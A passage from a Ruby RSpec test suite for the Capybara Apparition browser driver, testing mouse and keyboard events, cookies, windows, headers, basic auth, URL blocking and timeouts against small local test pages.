driver.find_xpath("//option[text() = 'Single Option 2']").first.select_option
# expect(logged_events).to eq %w[single.mousedown single.focus single.input single.change single.mouseup single.click]
expect(logged_events).to eq %w[single.mousedown single.focus single.mouseup single.click single.input single.change]
end
it 'triggers correct unselect events for multiple selects' do
pending "Need to figure out why these events don't match user"
driver.find_xpath("//option[text() = 'Multiple Option 2']").first.unselect_option
# expect(logged_events).to eq %w[multiple.mousedown multiple.focus multiple.input multiple.change multiple.mouseup multiple.click]
expect(logged_events).to eq %w[mousedown mousedown multiple.focus mouseup mouseup multiple.input multiple.change click click]
end
it 'triggers correct unselect events for multiple selects when already unselected' do
driver.find_xpath("//option[text() = 'Multiple Option 3']").first.unselect_option
# expect(logged_events).to eq %w[multiple.mousedown multiple.focus multiple.input multiple.mouseup multiple.click]
expect(logged_events).to eq []
end
it 'triggers correct select events for multiple selects when additional option is selected' do
pending "Need to figure out why the events don't match a user"
driver.find_xpath("//option[text() = 'Multiple Option 4']").first.select_option
# expect(logged_events).to eq %w[multiple.mousedown multiple.focus multiple.input multiple.change multiple.mouseup multiple.click]
expect(logged_events).to eq %w[mousedown mousedown mouseup mouseup multiple.input multiple.change click click multiple.keyup]
end
end
context 'mouse app' do
let(:driver) do
driver_for_html(<<-HTML)
<html>
<head>
<style type="text/css">
#hover { max-width: 30em; }
/* #hover span { line-height: 1.5; }*/
#hover span:hover + .hidden { display: block; }
#circle_hover:hover + .hidden { display: block; }
.hidden { display: none; }
</style>
</head>
<body>
<div id="change">Change me</div>
<div id="mouseup">Push me</div>
<div id="mousedown">Release me</div>
<div id="hover">
<span>This really long paragraph has a lot of text and will wrap. This sentence ensures that we have four lines of text.</span>
<div class="hidden">Text that only shows on hover.</div>
</div>
<svg height="200" width="300">
<circle id="circle_hover" cx="50" cy="50" r="40" stroke="black" stroke-width="3" fill="red" />
<text class="hidden" y="110"> Sibling that only shows when circle is hovered over.</text>
</svg>
<form action="/" method="GET">
<select id="change_select" name="change_select">
<option value="1" id="option-1" selected="selected">one</option>
<option value="2" id="option-2">two</option>
</select>
<select id="change_select_in_optgroup" name="change_select_in_optgroup">
<optgroup>
<option value="1" id="option-in-optgroup-1" selected="selected">one</option>
<option value="2" id="option-in-optgroup-2">two</option>
</optgroup>
</select>
</form>
<script type="text/javascript">
document.getElementById("change_select").
addEventListener("change", function () {
this.className = "triggered";
});
document.getElementById("change_select_in_optgroup").
addEventListener("change", function () {
this.className = "triggered";
});
document.getElementById("change").
addEventListener("change", function () {
this.className = "triggered";
});
document.getElementById("mouseup").
addEventListener("mouseup", function () {
console.log("got mouseup");
this.className = "triggered";
});
document.getElementById("mousedown").
addEventListener("mousedown", function () {
console.log("got mousedown");
this.className = "triggered";
});
</script>
<a href="/next">Next</a>
</body></html>
HTML
end
before { visit('/') }
it 'hovers an element' do
pending 'This is because of element layout in Chrome'
expect(driver.find_css('#hover').first.visible_text).not_to match(/Text that only shows on hover/)
driver.find_css('#hover span').first.hover
expect(driver.find_css('#hover').first.visible_text).to match(/Text that only shows on hover/)
end
it 'hovers an svg element' do
# visible_text does not work for SVG elements. It returns all the text.
expect(driver.find_css('text').first).not_to be_visible
driver.find_css('#circle_hover').first.hover
expect(driver.find_css('text').first).to be_visible
end
it 'hovers an element off the screen' do
driver.resize_window(200, 200)
driver.execute_script(<<-JS)
var element = document.getElementById('hover');
element.style.position = 'absolute';
element.style.left = '200px';
JS
expect(driver.find_css('#hover').first.visible_text).not_to match(/Text that only shows on hover/)
driver.find_css('#hover span').first.hover
expect(driver.find_css('#hover').first.visible_text).to match(/Text that only shows on hover/)
end
it 'clicks an element' do
driver.find_xpath('//a').first.click
expect(driver.current_url).to match %r{/next$}
end
it 'fires a mouse event' do
driver.find_xpath("//*[@id='mouseup']").first.trigger('mouseup')
expect(driver.find_xpath("//*[@class='triggered']")).not_to be_empty
end
it 'fires a non-mouse event' do
driver.find_xpath("//*[@id='change']").first.trigger('change')
expect(driver.find_xpath("//*[@class='triggered']")).not_to be_empty
end
it 'fires a change on select' do
select = driver.find_xpath("//select[@id='change_select']").first
expect(select.value).to eq '1'
option = driver.find_xpath("//option[@id='option-2']").first
option.select_option
expect(select.value).to eq '2'
expect(driver.find_xpath("//select[@id='change_select'][@class='triggered']")).not_to be_empty
end
it 'fires a change on select when using an optgroup' do
select = driver.find_xpath("//select[@id='change_select_in_optgroup']").first
expect(select.value).to eq '1'
option = driver.find_xpath("//option[@id='option-in-optgroup-2']").first
option.select_option
expect(select.value).to eq '2'
expect(driver.find_xpath("//select[@id='change_select_in_optgroup'][@class='triggered']")).not_to be_empty
end
end
context 'nesting app' do
let(:driver) do
driver_for_html(<<-HTML)
<html><body>
<div id="parent">
<div class="find">Expected</div>
</div>
<div class="find">Unexpected</div>
</body></html>
HTML
end
before { visit('/') }
it 'evaluates nested xpath expressions' do
parent = driver.find_xpath("//*[@id='parent']").first
expect(parent.find_xpath("./*[@class='find']").map(&:visible_text)).to eq %w[Expected]
end
it 'finds elements by CSS' do
parent = driver.find_css('#parent').first
expect(parent.find_css('.find').first.visible_text).to eq 'Expected'
end
end
context 'slow app' do
it 'waits for a request to load' do
result = +''
driver = driver_for_app do
get '/result' do
sleep(0.5)
result << 'finished'
''
end
get '/' do
%(<html><body><a href="/result">Go</a></body></html>)
end
end
visit('/', driver)
driver.find_xpath('//a').first.click
expect(result).to eq 'finished'
end
end
context 'error app' do
let(:driver) do
driver_for_app do
get '/error' do
invalid_response
end
get '/' do
<<-HTML
<html><body>
<form action="/error"><input type="submit"/></form>
</body></html>
HTML
end
end
end
before { visit('/') }
it 'raises a webkit error for the requested url' do
pending 'Should this really error?'
expect do
driver.find_xpath('//input').first.click
wait_for_error_to_complete
driver.find_xpath('//body')
end.to raise_error(Capybara::Apparition::InvalidResponseError, %r{/error})
end
def wait_for_error_to_complete
sleep(0.5)
end
end
context 'slow error app', :skip do
let(:driver) do
driver_for_app do
get '/error' do
sleep(1)
invalid_response
end
get '/' do
<<-HTML
<html><body>
<form action="/error"><input type="submit"/></form>
<p>hello</p>
</body></html>
HTML
end
end
end
before { visit('/') }
it 'raises a webkit error and then continues' do
driver.find_xpath('//input').first.click
expect { driver.find_xpath('//p') }.to raise_error(Capybara::Apparition::InvalidResponseError)
visit('/')
expect(driver.find_xpath('//p').first.visible_text).to eq 'hello'
end
end
context 'popup app' do
let(:driver) do
driver_for_app do
get '/' do
sleep(0.5)
return <<-HTML
<html><body>
<script type="text/javascript">
alert("alert");
confirm("confirm");
prompt("prompt");
</script>
<p>success</p>
</body></html>
HTML
end
end
end
before { visit('/') }
it "doesn't crash from alerts" do
expect(driver.find_xpath('//p').first.visible_text).to eq 'success'
end
end
context 'custom header' do
let(:driver) do
driver_for_app do
get '/' do
<<-HTML
<html><body>
<p id="user-agent">#{env['HTTP_USER_AGENT']}</p>
<p id="x-capybara-webkit-header">#{env['HTTP_X_CAPYBARA_WEBKIT_HEADER']}</p>
<p id="accept">#{env['HTTP_ACCEPT']}</p>
<a href="/">/</a>
</body></html>
HTML
end
end
end
before do
driver.header('user-agent', 'capybara-webkit/custom-user-agent')
driver.header('x-capybara-webkit-header', 'x-capybara-webkit-header')
driver.header('Accept', 'text/html')
visit('/')
end
it 'can set user_agent' do
expect(driver.find_xpath('id("user-agent")').first.visible_text).to eq 'capybara-webkit/custom-user-agent'
expect(driver.evaluate_script('navigator.userAgent')).to eq 'capybara-webkit/custom-user-agent'
end
it 'keep user_agent in next page' do
driver.find_xpath('//a').first.click
expect(driver.find_xpath('id("user-agent")').first.visible_text).to eq 'capybara-webkit/custom-user-agent'
expect(driver.evaluate_script('navigator.userAgent')).to eq 'capybara-webkit/custom-user-agent'
end
it 'can set custom header' do
expect(driver.find_xpath('id("x-capybara-webkit-header")').first.visible_text).to eq 'x-capybara-webkit-header'
end
it 'can set Accept header' do
expect(driver.find_xpath('id("accept")').first.visible_text).to eq 'text/html'
end
it 'can reset all custom header' do
driver.reset!
visit('/')
expect(driver.find_xpath('id("user-agent")').first.visible_text).not_to eq 'capybara-webkit/custom-user-agent'
expect(driver.evaluate_script('navigator.userAgent')).not_to eq 'capybara-webkit/custom-user-agent'
expect(driver.find_xpath('id("x-capybara-webkit-header")').first.visible_text).to be_empty
expect(driver.find_xpath('id("accept")').first.visible_text).not_to eq 'text/html'
end
end
context 'no response app', :skip do
let(:driver) do
driver_for_html(<<-HTML)
<html><body>
<form action="/error"><input type="submit"/></form>
</body></html>
HTML
end
let!(:connection) { fork_connection }
before { visit('/') }
it 'raises a webkit error for the requested url' do
make_the_server_go_away
expect do
driver.find_xpath('//body')
end.to raise_error(Capybara::Apparition::NoResponseError, /response/)
make_the_server_come_back
end
def make_the_server_come_back
%i[gets puts print].each { |msg| allow(connection).to receive(msg).and_call_original }
end
def make_the_server_go_away
allow(connection).to receive(:gets).and_return(nil)
allow(connection).to receive(:puts).and_return(nil)
allow(connection).to receive(:print).and_return(nil)
end
end
context 'cookie-based app' do
let(:driver) do
driver_for_app do
get '/' do
headers 'Set-Cookie' => 'cookie=abc; domain=127.0.0.1; path=/'
<<-HTML
<html><body>
<p id="cookie">#{request.cookies['cookie'] || ''}</p>
</body></html>
HTML
end
end
end
before { visit('/') }
def echoed_cookie
driver.find_xpath('id("cookie")').first.visible_text
end
it 'remembers the cookie on second visit' do
expect(echoed_cookie).to eq ''
visit '/'
expect(echoed_cookie).to eq 'abc'
end
it 'uses a custom cookie' do
driver.set_cookie 'cookie=abc; domain=127.0.0.1; path=/'
visit '/'
expect(echoed_cookie).to eq 'abc'
end
it 'clears cookies' do
driver.clear_cookies
visit '/'
expect(echoed_cookie).to eq ''
end
it 'allows reading cookies' do
expect(driver.cookies['cookie']).to eq 'abc'
expect(driver.cookies.find('cookie').path).to eq '/'
expect(driver.cookies.find('cookie').domain).to include '127.0.0.1'
end
end
# context 'remove node app', :skip do
# let(:driver) do
# driver_for_html(<<-HTML)
# <html>
# <div id="parent">
# <p id="removeMe">Hello</p>
# </div>
# </html>
# HTML
# end
#
# before do
# set_automatic_reload false
# visit('/')
# end
#
# after { set_automatic_reload true }
#
# def set_automatic_reload(value)
# Capybara.automatic_reload = value if Capybara.respond_to?(:automatic_reload)
# end
#
# it 'allows removed nodes when reloading is disabled' do
# node = driver.find_xpath("//p[@id='removeMe']").first
# driver.evaluate_script("document.getElementById('parent').innerHTML = 'Magic'")
# expect(node.visible_text).to eq 'Hello'
# end
# end
context 'app with a lot of HTML tags' do
let(:driver) do
driver_for_html(<<-HTML)
<html>
<head>
<title>My eBook</title>
<meta class="charset" name="charset" value="utf-8" />
<meta class="author" name="author" value="Firstname Lastname" />
</head>
<body>
<div id="toc">
<table>
<thead id="head">
<tr><td class="td1">Chapter</td><td>Page</td></tr>
</thead>
<tbody>
<tr><td>Intro</td><td>1</td></tr>
<tr><td>Chapter 1</td><td class="td2">1</td></tr>
<tr><td>Chapter 2</td><td>1</td></tr>
</tbody>
</table>
</div>
<h1 class="h1">My first book</h1>
<p class="p1">Written by me</p>
<div id="intro" class="intro">
<p>Let's try out XPath</p>
<p class="p2">in capybara-webkit</p>
</div>
<h2 class="chapter1">Chapter 1</h2>
<p>This paragraph is fascinating.</p>
<p class="p3">But not as much as this one.</p>
<h2 class="chapter2">Chapter 2</h2>
<p>Let's try if we can select this</p>
</body>
</html>
HTML
end
before { visit('/') }
it 'builds up node paths correctly' do
cases = {
"//*[contains(@class, 'author')]" => '/html/head/meta[2]',
"//*[contains(@class, 'td1')]" => "/html/body/div[@id='toc']/table/thead[@id='head']/tr/td[1]",
"//*[contains(@class, 'td2')]" => "/html/body/div[@id='toc']/table/tbody/tr[2]/td[2]",
'//h1' => '/html/body/h1',
"//*[contains(@class, 'chapter2')]" => '/html/body/h2[2]',
"//*[contains(@class, 'p1')]" => '/html/body/p[1]',
"//*[contains(@class, 'p2')]" => "/html/body/div[@id='intro']/p[2]",
"//*[contains(@class, 'p3')]" => '/html/body/p[3]'
}
cases.each do |xpath, path| # rubocop:disable Lint/UnusedBlockArgument
nodes = driver.find_xpath(xpath)
expect(nodes.size).to eq 1
# This currently builds with capitalized element names
# so we just verify finding the calculated path returns the same element
# expect(nodes[0].path).to eq path
expect(driver.find_xpath(nodes[0].path)[0]).to eq nodes[0]
end
end
end
context 'css overflow app' do
let(:driver) do
driver_for_html(<<-HTML)
<html>
<head>
<style type="text/css">
#overflow { overflow: hidden }
</style>
</head>
<body>
<div id="overflow">Overflow</div>
</body>
</html>
HTML
end
before { visit('/') }
it 'handles overflow hidden' do
expect(driver.find_xpath("//div[@id='overflow']").first.visible_text).to eq 'Overflow'
end
end
context 'javascript redirect app' do
let(:driver) do
driver_for_app do
get '/redirect' do
<<-HTML
<html>
<script type="text/javascript">
window.location = "/";
</script>
</html>
HTML
end
get '/' do
'<html><p>finished</p></html>'
end
end
end
it 'loads a page without error' do
10.times do
visit('/redirect')
expect(driver.find_xpath('//p').first.visible_text).to eq 'finished'
end
end
end
context 'localStorage works' do
let(:driver) do
driver_for_html(<<-HTML)
<html>
<body>
<span id='output'></span>
<script type="text/javascript">
if (typeof localStorage !== "undefined") {
if (!localStorage.refreshCounter) {
localStorage.refreshCounter = 0;
}
if (localStorage.refreshCounter++ > 0) {
document.getElementById("output").innerHTML = "localStorage is enabled";
}
}
</script>
</body>
</html>
HTML
end
before { visit('/') }
it 'displays the message on subsequent page loads' do
expect(driver.find_xpath("//span[contains(.,'localStorage is enabled')]")).to be_empty
visit '/'
expect(driver.find_xpath("//span[contains(.,'localStorage is enabled')]")).not_to be_empty
end
it 'clears the message after a driver reset!' do
visit '/'
expect(driver.find_xpath("//span[contains(.,'localStorage is enabled')]")).not_to be_empty
driver.reset!
visit '/'
expect(driver.find_xpath("//span[contains(.,'localStorage is enabled')]")).to be_empty
end
end
context 'caching app' do
let(:driver) do
etag_value = SecureRandom.hex
driver_for_app do
get '/' do
etag etag_value
<<-HTML
<html>
<body>
Expected body
</body>
</html>
HTML
end
end
end
it 'returns a body for cached responses' do
visit '/'
first = driver.html
visit '/'
second = driver.html
expect(second).to eq(first)
end
end
context 'form app with server-side handler' do
let(:driver) do
driver_for_app do
post '/' do
'<html><body><p>Congrats!</p></body></html>'
end
get '/' do
<<-HTML
<html>
<head><title>Form</title>
<body>
<form action="/" method="POST">
<input type="hidden" name="abc" value="123" />
<input type="submit" value="Submit" />
</form>
</body>
</html>
HTML
end
end
end
before { visit('/') }
it 'submits a form without clicking' do
driver.find_xpath('//form')[0].submit
sleep 1
expect(driver.html).to include 'Congrats'
end
end
def driver_for_key_body(event)
driver_for_app do
get '/' do
<<~HTML
<html>
<head><title>Form</title></head>
<body>
<div id="charcode_value"></div>
<div id="keycode_value"></div>
<div id="which_value"></div>
<input type="text" id="charcode" name="charcode" on#{event}="setcharcode" />
<script type="text/javascript">
var element = document.getElementById("charcode")
element.addEventListener("#{event}", setcharcode);
function setcharcode(event) {
var element = document.getElementById("charcode_value");
element.innerHTML = event.charCode;
element = document.getElementById("keycode_value");
element.innerHTML = event.keyCode;
element = document.getElementById("which_value");
element.innerHTML = event.which;
}
</script>
</body>
</html>
HTML
end
end
end
def char_code_for(character)
driver.find_xpath('//input')[0].set(character)
driver.find_xpath("//div[@id='charcode_value']")[0].visible_text
end
def key_code_for(character)
driver.find_xpath('//input')[0].set(character)
driver.find_xpath("//div[@id='keycode_value']")[0].visible_text
end
def which_for(character)
driver.find_xpath('//input')[0].set(character)
driver.find_xpath("//div[@id='which_value']")[0].visible_text
end
context 'keypress app' do
let(:driver) { driver_for_key_body 'keypress' }
before do
visit('/')
end
it 'returns the charCode for the keypressed' do
expect(char_code_for('a')).to eq '97'
expect(char_code_for('A')).to eq '65'
expect(char_code_for("\r")).to eq '13'
expect(char_code_for(',')).to eq '44'
expect(char_code_for('<')).to eq '60'
expect(char_code_for('0')).to eq '48'
end
it 'returns the keyCode for the keypressed' do
expect(key_code_for('a')).to eq '97'
expect(key_code_for('A')).to eq '65'
expect(key_code_for("\r")).to eq '13'
expect(key_code_for(',')).to eq '44'
expect(key_code_for('<')).to eq '60'
expect(key_code_for('0')).to eq '48'
end
it 'returns the which for the keypressed' do
expect(which_for('a')).to eq '97'
expect(which_for('A')).to eq '65'
expect(which_for("\r")).to eq '13'
expect(which_for(',')).to eq '44'
expect(which_for('<')).to eq '60'
expect(which_for('0')).to eq '48'
end
end
shared_examples 'a keyupdown app' do
it 'returns a 0 charCode for the event' do
expect(char_code_for('a')).to eq '0'
expect(char_code_for('A')).to eq '0'
expect(char_code_for("\b")).to eq '0'
expect(char_code_for(',')).to eq '0'
expect(char_code_for('<')).to eq '0'
expect(char_code_for('0')).to eq '0'
end
it 'returns the keyCode for the event' do
expect(key_code_for('a')).to eq '65'
expect(key_code_for('A')).to eq '65'
expect(key_code_for("\b")).to eq '8'
expect(key_code_for(',')).to eq '188'
expect(key_code_for('<')).to eq '188'
expect(key_code_for('0')).to eq '48'
end
it 'returns the which for the event' do
expect(which_for('a')).to eq '65'
expect(which_for('A')).to eq '65'
expect(which_for("\b")).to eq '8'
expect(which_for(',')).to eq '188'
expect(which_for('<')).to eq '188'
expect(which_for('0')).to eq '48'
end
end
context 'keydown app' do
let(:driver) { driver_for_key_body 'keydown' }
before { visit('/') }
it_behaves_like 'a keyupdown app'
end
context 'keyup app' do
let(:driver) { driver_for_key_body 'keyup' }
before { visit('/') }
it_behaves_like 'a keyupdown app'
end
context 'javascript new window app' do
let(:driver) do
driver_for_app do
get '/new_window' do
<<~HTML
<html>
<script type="text/javascript">
window.open('http://#{request.host_with_port}/?#{request.query_string}', 'myWindow');
</script>
<p>bananas</p>
</html>
HTML
end
get '/' do
sleep params['sleep'].to_i if params['sleep']
'<html><head><title>My New Window</title></head><body><p>finished</p></body></html>'
end
end
end
before { visit('/') }
it 'has the expected text in the new window' do
visit('/new_window')
driver.within_window(driver.window_handles.last) do
expect(driver.find_xpath('//p').first.visible_text).to eq 'finished'
end
end
it 'can switch to another window' do
visit('/new_window')
driver.switch_to_window(driver.window_handles.last)
expect(driver.find_xpath('//p').first.visible_text).to eq 'finished'
end
it 'knows the current window handle' do
visit('/new_window')
driver.within_window(driver.window_handles.last) do
expect(driver.current_window_handle).to eq driver.window_handles.last
end
end
it 'can close the current window' do
pending "We don't auto switch back to previous window, should we?"
visit('/new_window')
original_handle = driver.current_window_handle
driver.switch_to_window(driver.window_handles.last)
driver.close_window(driver.current_window_handle)
expect(driver.current_window_handle).to eq(original_handle)
end
it 'can close an unfocused window' do
visit('/new_window')
driver.close_window(driver.window_handles.last)
expect(driver.window_handles.size).to eq(1)
end
it 'can close the last window' do
visit('/new_window')
handles = driver.window_handles
handles.each { |handle| driver.close_window(handle) }
expect { driver.html }.to raise_error(Capybara::Apparition::NoSuchWindowError)
expect(driver.window_handles).not_to include(driver.current_window_handle)
end
it 'waits for the new window to load' do
visit('/new_window?sleep=1')
driver.within_window(driver.window_handles.last) do
expect(driver.find_xpath('//p').first.text).to eq 'finished'
end
end
it 'waits for the new window to load when the window location has changed' do
visit('/new_window?sleep=2')
driver.execute_script("setTimeout(function() { window.location = 'about:blank' }, 1000)")
driver.within_window(driver.window_handles.last) do
expect(driver.find_xpath('//p').first.visible_text).to eq 'finished'
end
end
it 'switches back to the original window' do
visit('/new_window')
driver.within_window(driver.window_handles.last) {}
expect(driver.find_xpath('//p').first.visible_text).to eq 'bananas'
end
it 'supports finding a window by name' do
visit('/new_window')
driver.within_window('myWindow') do
expect(driver.find_xpath('//p').first.visible_text).to eq 'finished'
end
end
it 'supports finding a window by title' do
visit('/new_window?sleep=1')
sleep 1
driver.within_window('My New Window') do
expect(driver.find_xpath('//p').first.visible_text).to eq 'finished'
end
end
it 'supports finding a window by url' do
visit('/new_window?test')
driver.within_window(driver_url(driver, '/?test')) do
expect(driver.find_xpath('//p').first.visible_text).to eq 'finished'
end
end
it 'raises an error if the window is not found' do
expect { driver.within_window('myWindowDoesNotExist') }.to raise_error(Capybara::Apparition::NoSuchWindowError)
end
it 'has a number of window handles equal to the number of open windows' do
expect(driver.window_handles.size).to eq 1
visit('/new_window')
expect(driver.window_handles.size).to eq 2
end
it 'removes windows when closed via JavaScript' do
pending "Window isn't closable due to script limitations"
visit('/new_window')
count = driver.window_handles.size
driver.execute_script('console.log(window.document.title); window.close()')
sleep 2
expect(driver.window_handles.size).to eq(count - 1)
end
it 'closes new windows on reset' do
visit('/new_window')
last_handle = driver.window_handles.last
driver.reset!
sleep 0.1
expect(driver.window_handles).not_to include(last_handle)
end
it 'leaves the old window focused when opening a new window' do
visit('/new_window')
current_window = driver.current_window_handle
driver.open_new_window
expect(driver.current_window_handle).to eq current_window
expect(driver.window_handles.size).to eq 3
end
it 'opens blank windows' do
visit('/new_window')
driver.open_new_window
driver.switch_to_window(driver.window_handles.last)
expect(driver.find_css('body *')).to be_empty
end
end
it 'preserves cookies across windows' do
session_id = '12345'
driver = driver_for_app do
get '/new_window' do
<<~HTML
<html>
<script type="text/javascript">
window.open('http://#{request.host_with_port}/set_cookie');
</script>
</html>
HTML
end
get '/set_cookie' do
response.set_cookie 'session_id', session_id
end
end
visit('/new_window', driver)
expect(driver.cookies['session_id']).to eq session_id
end
context 'timers app' do
let(:driver) do
driver_for_app do
get '/success' do
'<html><body></body></html>'
end
get '/not-found' do
404
end
get '/outer' do
<<~HTML
<html>
<head>
<script>
function emit_true_load_finished(){var divTag = document.createElement("div");divTag.innerHTML = "<iframe src='/success'></iframe>";document.body.appendChild(divTag);};
function emit_false_load_finished(){var divTag = document.createElement("div");divTag.innerHTML = "<iframe src='/not-found'></iframe>";document.body.appendChild(divTag);};
function emit_false_true_load_finished() { emit_false_load_finished(); setTimeout('emit_true_load_finished()',100); };
</script>
</head>
<body onload="setTimeout('emit_false_true_load_finished()',100)">
</body>
</html>
HTML
end
get '/' do
'<html><body></body></html>'
end
end
end
before { visit('/') }
it 'raises error for any loadFinished failure' do
pending 'Not really sure what this is testing'
expect do
visit('/outer')
sleep 1
driver.find_xpath('//body')
end.to raise_error(Capybara::Apparition::InvalidResponseError)
end
end
describe 'basic auth' do
let(:driver) do
driver_for_app do
get '/' do
if env['HTTP_AUTHORIZATION'] == "Basic #{Base64.encode64('user:password').strip}"
env['HTTP_AUTHORIZATION']
else
headers 'WWW-Authenticate' => 'Basic realm="Secure Area"'
status 401
'401 Unauthorized.'
end
end
get '/reset' do
headers 'WWW-Authenticate' => 'Basic realm="Secure Area"'
status 401
'401 Unauthorized.'
end
end
end
before do
visit('/reset')
end
it 'can authenticate a request' do
driver.authenticate('user', 'password')
visit('/')
expect(driver.html).to include('Basic ' + Base64.encode64('user:password').strip)
end
it 'returns 401 for incorrectly authenticated request' do
driver.authenticate('user1', 'password1')
expect { visit('/') }.not_to raise_error
expect(driver.status_code).to eq 401
end
it 'returns 401 for unauthenticated request' do
expect { visit('/') }.not_to raise_error
expect(driver.status_code).to eq 401
end
it 'can be reset with subsequent authenticate call' do
pending "ENV['HTTP_AUTHORIZATION'] isn't cleared between requests"
driver.authenticate('user', 'password')
visit('/')
expect(driver.html).to include('Basic ' + Base64.encode64('user:password').strip)
driver.authenticate('user1', 'password1')
expect { visit('/') }.not_to raise_error
expect(driver.status_code).to eq 401
end
end
describe 'url blacklisting', skip_if_offline: true do
let(:driver) do
driver_for_app do
get '/' do
<<~HTML
<html>
<body>
<script src="/script"></script>
<iframe src="http://example.com/path" id="frame1"></iframe>
<iframe src="http://example.org/path/to/file" id="frame2"></iframe>
<iframe src="/frame" id="frame3"></iframe>
<iframe src="http://example.org/foo/bar" id="frame4"></iframe>
</body>
</html>
HTML
end
get '/frame' do
<<~HTML
<html>
<body>
<p>Inner</p>
</body>
</html>
HTML
end
get '/script' do
<<~JS
document.write('<p>Script Run</p>')
JS
end
end
end
before do
configure do |config|
config.block_url 'http://example.org/path/to/file'
config.block_url 'http://example.*/foo/*'
config.block_url 'http://example.com'
config.block_url "#{AppRunner.app_host}/script"
end
end
it 'should not fetch urls blocked by host' do
visit('/')
within_frame('frame1') do
expect(driver.find_xpath('//body').first.visible_text).to be_empty
end
end
it 'should not fetch urls blocked by path' do
visit('/')
within_frame('frame2') do
expect(driver.find_xpath('//body').first.visible_text).to be_empty
end
end
it 'should not fetch blocked scripts' do
visit('/')
expect(driver.html).not_to include('Script Run')
end
it 'should fetch unblocked urls' do
visit('/')
within_frame('frame3') do
expect(driver.find_xpath('//p').first.visible_text).to eq 'Inner'
end
end
it 'should not fetch urls blocked by wildcard match' do
visit('/')
within_frame('frame4') do
expect(driver.find_xpath('//body').first.text).to be_empty
end
end
it 'returns a status code for blocked urls' do
visit('/')
within_frame('frame1') do
expect(driver.status_code).to eq 200
end
end
def within_frame(frame_id)
frame = driver.find_xpath("//iframe[@id='#{frame_id}']").first
driver.switch_to_frame(Capybara::Node::Base.new(nil, frame))
yield
driver.switch_to_frame(:parent)
end
end
describe 'url whitelisting', :skip, skip_if_offline: true do
it_behaves_like 'output writer' do
let(:driver) do
driver_for_html(<<~HTML)
<<~HTML
<html>
<body>
<iframe src="http://example.com/path" id="frame"></iframe>
<iframe src="http://www.example.com" id="frame2"></iframe>
<iframe src="data:text/plain,Hello"></iframe>
</body>
</html>
HTML
end
it 'prints a warning for remote requests by default' do
visit('/')
expect(stderr).to include('http://example.com/path')
expect(stderr).not_to include(driver.current_url)
end
it 'can allow specific hosts' do
configure do |config|
config.allow_url('example.com')
config.allow_url('www.example.com')
end
visit('/')
expect(stderr).not_to include('http://example.com/path')
expect(stderr).not_to include(driver.current_url)
within_frame('frame') do
expect(driver.find('//body').first.text).not_to be_empty
end
end
it 'can allow all hosts' do
configure(&:allow_unknown_urls)
visit('/')
expect(stderr).not_to include('http://example.com/path')
expect(stderr).not_to include(driver.current_url)
within_frame('frame') do
expect(driver.find('//body').first.text).not_to be_empty
end
end
it 'resets allowed hosts on reset' do
driver.allow_unknown_urls
driver.reset!
visit('/')
expect(stderr).to include('http://example.com/path')
expect(stderr).not_to include(driver.current_url)
end
it 'can block unknown hosts' do
configure(&:block_unknown_urls)
visit('/')
expect(stderr).not_to include('http://example.com/path')
expect(stderr).not_to include(driver.current_url)
within_frame('frame') do
expect(driver.find('//body').first.text).to be_empty
end
end
it 'can allow urls with wildcards' do
configure { |config| config.allow_url('*/path') }
visit('/')
expect(stderr).to include('www.example.com')
expect(stderr).not_to include('example.com/path')
expect(stderr).not_to include(driver.current_url)
end
it 'whitelists localhost on reset' do
driver.reset!
visit('/')
expect(stderr).not_to include(driver.current_url)
end
it 'does not print a warning for data URIs' do
visit('/')
expect(stderr).not_to include('Request to unknown URL: data:text/plain')
end
def within_frame(frame)
driver.switch_to_frame(frame)
yield
driver.switch_to_frame(:parent)
end
end
end
describe 'timeout for long requests', :skip do
let(:driver) do
driver_for_app do
html = <<~HTML
<html>
<body>
<form action="/form" method="post">
<input type="submit" value="Submit"/>
</form>
</body>
</html>
HTML
get '/' do
sleep(2)
html
end
post '/form' do
sleep(4)
html
end
end
end
it 'should not raise a timeout error when zero' do
configure { |config| config.timeout = 0 }
expect { visit('/') }.not_to raise_error
end
it 'should raise a timeout error' do
configure { |config| config.timeout = 1 }
expect { visit('/') }.to raise_error(Timeout::Error, 'Request timed out after 1 second(s)')
end
it 'should not raise an error when the timeout is high enough' do
configure { |config| config.timeout = 10 }
expect { visit('/') }.not_to raise_error
end
it 'should set the timeout for each request' do
configure { |config| config.timeout = 10 }
expect { visit('/') }.not_to raise_error
driver.timeout = 1
expect { visit('/') }.to raise_error(Timeout::Error)
end
it 'should set the timeout for each request' do
configure { |config| config.timeout = 1 }
expect { visit('/') }.to raise_error(Timeout::Error)
driver.reset!
driver.timeout = 10
expect { visit('/') }.not_to raise_error
end
it 'should raise a timeout on a slow form' do
configure { |config| config.timeout = 3 }
visit('/')
expect(driver.status_code).to eq 200
driver.timeout = 1
driver.find_xpath('//input').first.click
expect { driver.status_code }.to raise_error(Timeout::Error)
end
it 'get timeout' do
configure { |config| config.timeout = 10 }
expect(driver.browser.timeout).to eq 10
end
end
describe 'logger app', skip: 'Need to work out unified logging' do
it_behaves_like 'output writer' do
let(:driver) do
driver_for_html('<html><body>Hello</body></html>')
end
it 'logs nothing in normal mode' do
configure { |config| config.debug = false }
visit('/')
expect(stderr).not_to include logging_message
end
it 'logs its commands in debug mode' do
configure { |config| config.debug = true }
visit('/')
expect(stderr).to include logging_message
end
let(:logging_message) { 'Wrote response true' }
end
end
context 'synchronous ajax app' do
let(:driver) do
driver_for_app do
get '/' do
<<-HTML
<html>
<body>
<form id="theForm">
<input type="submit" value="Submit" />
</form>
<script>
document.getElementById('theForm').onsubmit = function() {
xhr = new XMLHttpRequest();
xhr.open('POST', '/', false);
xhr.setRequestHeader('Content-Type', 'text/plain');
xhr.send('hello');
console.log(xhr.response);
return false;
}
</script>
</body>
</html>
HTML
end
post '/' do
request.body.read
end
end
end
it 'should not hang the server' do
visit('/')
driver.find_xpath('//input').first.click
expect(driver.console_messages.first[:message]).to eq 'hello'
end
end
context 'path' do
let(:driver) do
driver_for_html(<<-HTML)
<html>
<body>
<div></div>
<div><div><span>hello</span></div></div>
</body>
</html>
HTML
end
it 'returns an xpath for the current node' do
visit('/')
path = driver.find_xpath('//span').first.path
expect(driver.find_xpath(path).first.text).to eq 'hello'
end
end
context 'unattached node app' do
let(:driver) do
driver_for_html(<<-HTML)
<html><body>
<p id="remove-me">Remove me</p>
<a href="#" id="remove-button">remove</a>
<script type="text/javascript">
document.getElementById('remove-button').addEventListener('click', function() {
var p = document.getElementById('remove-me');
p.parentNode.removeChild(p);
});
</script>
</body></html>
HTML
end
it 'raises NodeNotAttachedError' do
visit '/'
remove_me = driver.find_css('#remove-me').first
expect(remove_me).not_to be_nil
